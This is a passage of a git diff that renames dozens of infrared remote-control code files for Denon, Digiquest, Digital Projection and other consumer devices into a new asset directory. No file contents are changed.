b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,3.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Processor/4,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/2,3.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,3.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/4,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,5.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,6.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/7,8.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/96,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir rename to 